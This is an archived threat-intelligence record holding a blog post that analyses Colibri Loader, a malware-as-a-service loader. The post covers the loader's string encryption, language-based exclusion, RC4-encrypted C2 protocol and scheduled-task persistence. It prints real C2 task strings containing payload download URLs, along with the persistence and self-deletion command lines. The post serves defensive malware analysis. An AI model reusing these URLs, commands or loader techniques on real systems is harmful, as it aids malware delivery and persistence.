{
	"id": "957f0a08-24fa-441f-8655-4a25711255a3",
	"created_at": "2026-04-06T01:31:18.025925Z",
	"updated_at": "2026-04-10T03:21:11.136902Z",
	"deleted_at": null,
	"sha1_hash": "fb4df39a2d59c2ae6e5a26fc28aba56604ac9ac2",
	"title": "Colibri Loader - Back to basics",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 414326,
	"plain_text": "Colibri Loader - Back to basics\r\nArchived: 2026-04-06 01:13:45 UTC\r\nFebruary 13, 2022 - Reading time: 23 minutes\r\nColibri Loader makes use of common malware techniques but presents a new entry into the malware as a service\r\nmarket with some interesting functions. \r\nForeword\r\nIt has been close to a year since my last blog post, many things have happened in my personal life since then and\r\nhave kept me quite occupied. Due to this I have worked with the incredible Casperinous to produce this post.\r\nCasperinous researched the malware and passed a report to me that I then edited a uploaded to create this post! \r\nOverview\r\nColibri Loader is a malware as a service that offers a residential loader along with a control panel written in PHP\r\nto give ease of use to the purchasers. The malware author claims to have written the malware in C/ASM and\r\nprices their creation at $150/week or $400/month. The malware offers the following functionality:\r\nRun .exe as user or admin (runas+cmd), launch arguments support\r\nRunning x86 .exe/.dll in memory via LoadPE\r\nRunning x86 .dll via rundll32\r\nRunning x86 .dll via LoadLibrary\r\nRunning x86 .dll via regsrv32\r\nExecuting cmd commands\r\nUpdate the bot with a fresh crypt or a new version\r\nRemoving a bot from an infected device.\r\nThe malware was put up for sale on 27/08/2021. It has numerous positive reviews.\r\nhttps://fr3d.hk/blog/colibri-loader-back-to-basics\r\nPage 1 of 11\n\nString Decryption \u0026 Imports\r\nWhen beginning to analyze Colibri we see a lot of issues within the disassembly, such as unrecognized functions\r\nand invalid call opcodes. To fix the opcodes a potential solution may be to undefine then redefine but we can take\r\nthis one step further and use the Create function option. This function in IDA can define the function and set the\r\nfunctions' stack and variables. Unfortunately Colibri is using in-proper opcodes (0xb8) which casues errors during\r\nfunction definition. Our solution to this is to NOP (null opcode) the in-proper opcodes and then use the create\r\nfunction tool within IDA.\r\nThis clears up the analysis significantly and reveals the entry point of the loader. The malware begins by loading\r\nDLLs and resolving functions. To load DLLs Colibri uses LoadLibraryW and makes use of hardcoded arrays\r\nwhich contain the name of the DLL. Once the exports of the chosen DLL have been located the malware will use\r\na custom hashing algorithm to create a hash of the export name. (See figure 2)\r\nhttps://fr3d.hk/blog/colibri-loader-back-to-basics\r\nPage 2 of 11\n\nFigure 2: Hashing function\r\nColibri's important strings are XOR encrypted within the binary and when retrieved to be used by Colibri will be\r\ndecrypted. Sometimes the string is unencrypted and will be stored within the key part of the encrypted strings\r\nstructure. If the string is unencrypted then Colibri will return the key instead of proceeding with the decryption\r\nprocess.\r\nChecks\r\nBefore carrying out important functions Colibri makes sure that it hasn't been cracked by checking the hardcoded\r\nC2 with a hash. This is to make sure that someone hasn't changed the C2 in an attempt to reuse/repurpose the\r\nmalware. If the check fails then the malware will exit.  \r\nhttps://fr3d.hk/blog/colibri-loader-back-to-basics\r\nPage 3 of 11\n\nBefore continuing with the program flow, Colibri checks the language of the host system to determine whether\r\nthey are within the CIS which it attempts to avoid. The malware acomplishes this by calling\r\npGetUserDefaultLangID and then comparning the results to the following. If Colibri finds a match it will exit.\r\nLanguage Code\r\nRussian 1049\r\nBelarusian 1059\r\nGeorgian 1079\r\nKazakh 1087\r\nTajik 1064\r\nUzbek 2115\r\nUkranian 1058\r\nUnknown 106\r\nCheck in\r\nAfter the language checks have been passed Colibri will attempt to reach the C2 and check that it is alive. Before\r\nreaching out to the C2, Colibri generates a unique identifier for the C2 that is calculated based on the serial\r\nnumber of the infected workstation. Once the UUID is generated the malware will send a request to the C2 gate\r\nwith a \"check\" command, if the check fails and the C2 doesn't reply or does not reply correctly the malware will\r\nexit.\r\nThe general network communication of Colibri can be described as the following: \r\nThe malware decrypts a variety of strings, depending on the type of the request (GET vs POST). Among\r\nthose strings, there are: \r\nThe type/command of each request in string format(check|update|ping).\r\nRC4 keys used to encrypt the content (in case of a POST request and decrypt) and also decrypt the\r\nresponse of the server. \r\nInformation about the version of the loader, but also the current campaign ID. \r\nIf there is a POST request, the loader encrypts the content of the POST request with one of the decrypted\r\nRC4 keys. \r\nThe loader received a response from the server. The response is BASE64 encoded. \r\nAfter decoding the response properly, it is decrypted with one of the RC4 keys. \r\nThe response is checked against a set of hardcoded strings that indicate if the response is valid or not.  \r\nColibri has 3 type of commands that are sent within its HTTP requests: \r\nhttps://fr3d.hk/blog/colibri-loader-back-to-basics\r\nPage 4 of 11\n\nCommand Description Response\r\ncheck\r\nChecks the availability of the C2 server but also\r\nwhether the workstation has been infected in the past.\r\nThe loader accepts the string\r\n“SUCCESS” as a valid response.\r\nupdate Sends information about the infected system. Colibri doesn't validate the response\r\nping Requests a task from the C2.\r\nIf there is a task within the C2 it\r\nwill respond with it.\r\nWhen Colibri checks that the C2 is alive it will use the check command. Once the request is sent and a response is\r\nreceived the malware will decode the response using base64 and then use RC4 to decrypt the response. Once the\r\nresponse has been decrypted it will be compared to \"SUCCESS\". If the string and response do not match then the\r\nmalware will exit.\r\nFigure 3: Handling C2 response\r\nPersistence\r\nTo maintain a presence on the infected system Colibri will move itself to a different filepath depending on the\r\nWindows version. Colibri checks if it is already in the destination and if not it will move to the following paths\r\ndepending on the Windows version.\r\nhttps://fr3d.hk/blog/colibri-loader-back-to-basics\r\nPage 5 of 11\n\nFigure 5: Determine persistence path\r\nDepending on the Windows version Colibri will use the following paths:\r\nWindows 10 or above will use C:\\Users\\\\{username}\\\\AppData\\Local\\Microsoft\\WindowsApps\\Get-Variable.exe \r\nElse for another edition will use C:\\Users\\{username}\\Documents\\WindowsPowerShell\\dllhost.exe \r\nOnce moved Colibri will schedule a task with the following command and then exit.\r\n/create /tn COMSurrogate /st 00:00 /du 9999:59 /sc once /ri 1 /f /tr {path of the loader} \r\nC2 Communications \u0026 Commands\r\nAfter the scheduled task has executed Colibri again it will proceed to send a check in to the malware C2 and\r\nregister the infection. Colibri has campaign IDs that allow the operator to label their malware. The malware will\r\nsend the campaign id, malware version and information to the C2 using the update command.\r\nFigure 6: Getting system information\r\nhttps://fr3d.hk/blog/colibri-loader-back-to-basics\r\nPage 6 of 11\n\nColibri encrypts the data with RC4 and then base64 encodes it. Then the encrypted information is POSTed to the\r\nC2.\r\nFigure 7: Encryption of system information\r\nNow that the infected system is registered to the C2 Colibri will send \"ping\" commands to the C2 to check for\r\nnew commands and tell the C2 that the infected system is online. When a \"ping\" command is sent the C2 can\r\nreturn the response of \"NUPD\" which stands for NEED UPDATE, the C2 will respond this when it needs the\r\nmalware to re-register the infected system. If the malware receives this response it will re-send the check in\r\ninformation to the C2.\r\nIf the malware does not get a response of \"NUPD\" then it will proceed to parse the response and determine what\r\ncommand it has received. The command is made up of four arguments that are separated by the '|' character. The\r\ncommand has the following structure.\r\nID Name Description\r\n1 Command ID The ID determines how the command is handled and what data to use.\r\n2 Payload URL The URL of the fie that Colibri will attempt to download and execute.\r\n3\r\nPayload\r\nArguments\r\nThe arguments that will accompany the payload. Usually this is used when the\r\npayload is a DLL and Colibri needs to know what export to use.\r\n4\r\nUse admin\r\nprivileges\r\nDetermines if the payload is to be ran with elevated privileges\r\nExamples of commands found from public sandboxes: \r\n0|http://80.92.205.102/SpotifySetup1.exe| \r\n0|https://bitbucket.org/tradercrypto/releases/downloads/lol.exe| \r\nColibri determines what function to call based on the first argument and will dispatch what command to use\r\ndepending on what number it is.\r\nCommand\r\nID\r\nDescription Parameters\r\nhttps://fr3d.hk/blog/colibri-loader-back-to-basics\r\nPage 7 of 11\n\n1\r\nDownload the payload and delete the file zone identifier.\r\nThen execute the payload with rundll32.\r\nPayload URL + Args\r\n2\r\nDownload the payload and delete the file zone identifier.\r\nThen execute the payload with regsrv32.\r\nPayload URL + Args\r\n3\r\nDownload the payload and delete the file zone identifier.\r\nThen load the payload with LoadLibraryW\r\nPayload URL\r\n4 Creates a thread the injects the payload into it Payload URL\r\n5 Executes a command with cmd open Args + Command\r\n6\r\nCleanup infection by deleting persistence and removing itself.\r\nAlso executes command.\r\nFile Path\r\n7 Same as 6th but doesn't execute command None\r\n0\r\nDownload the payload and delete the file zone identifier.\r\nThen execute the payload.\r\nPayload URL + Args +\r\nAdmin Rights Flag\r\nCommands 0 to 3 are all related to downloading and executing a payload. The malware retrieves the payload with\r\nthe User-Agent \"GoogleBot\". After downloading the payload, Colibri deletes its file zone identifier and then based\r\non the id, the payload is executed. \r\nFigure 8: Call command depending on ID\r\nThe command id 7 is forcing the loader to delete its persistence mechanism, the scheduled task but also remove\r\nitself from the system. The removal is being achieved by using ShellExecuteW to execute the following\r\ncommand: \r\ncmd /c chcp 65001 \u0026\u0026 ping 127.0.0.1 \u0026\u0026 DEL /F /S /Q /A {path of file} \r\nhttps://fr3d.hk/blog/colibri-loader-back-to-basics\r\nPage 8 of 11\n\nCommand id 5 executes the third element in of the ping response arguments by using the ShellExecuteW API and\r\ncalls \"cmd open\".\r\nFigure 9: Commands 7 \u0026 5\r\nThe command id 6 borrows elements from the command id 7, but before deleting itself, Colibri executes a file\r\nwith “CreateProcessW” API. \r\nFigure 10: Delete itself\r\nLastly the command id 4 is responsible to download the payload and inject it to the current memory space. The\r\ninjection is simple; The malware allocates space, then copies the executable and is setting the correct memory\r\npermissions on each section, rebuilds the import directory, rebase the code based on the new image base and then\r\ntransfers the execution to its OEP. \r\nC2 Panel\r\nThe C2 panel provided is written in PHP and obfuscated, it contains code that will check a license key along with\r\nthe expiry date of the malware so that the user can not use the malware past their purchase date.\r\nhttps://fr3d.hk/blog/colibri-loader-back-to-basics\r\nPage 9 of 11\n\nFigure 11: Main Page\r\nFigure 12: Bots Page\r\nhttps://fr3d.hk/blog/colibri-loader-back-to-basics\r\nPage 10 of 11\n\nFigure 14: Tasks Page\r\nFigure 15: Tasks Page Extended\r\nEpilogue\r\nThe malware does not demonstrate innovation but certainly shows that sticking to the basics will create an\r\neffective piece of malware. Colibri is not a common malware seen in the wild and does not seem to be holding up\r\nits competition with the likes of Smoke Loader and Amadey. The malware is not without its flaws but the\r\ndeveloper also indicates that they are willing to continually update their creation. I'd like to extend another thank\r\nyou to the amazing Casperinous without him this blog post could not have been made, please check him out.\r\nThank you for reading and see you in the next blog post!\r\nTools used to analyze Colibri: https://github.com/Casperinous/colibri_loader\r\nSource: https://fr3d.hk/blog/colibri-loader-back-to-basics\r\nhttps://fr3d.hk/blog/colibri-loader-back-to-basics\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://fr3d.hk/blog/colibri-loader-back-to-basics"
	],
	"report_names": [
		"colibri-loader-back-to-basics"
	],
	"threat_actors": [],
	"ts_created_at": 1775439078,
	"ts_updated_at": 1775791271,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/fb4df39a2d59c2ae6e5a26fc28aba56604ac9ac2.pdf",
		"text": "https://archive.orkl.eu/fb4df39a2d59c2ae6e5a26fc28aba56604ac9ac2.txt",
		"img": "https://archive.orkl.eu/fb4df39a2d59c2ae6e5a26fc28aba56604ac9ac2.jpg"
	}
}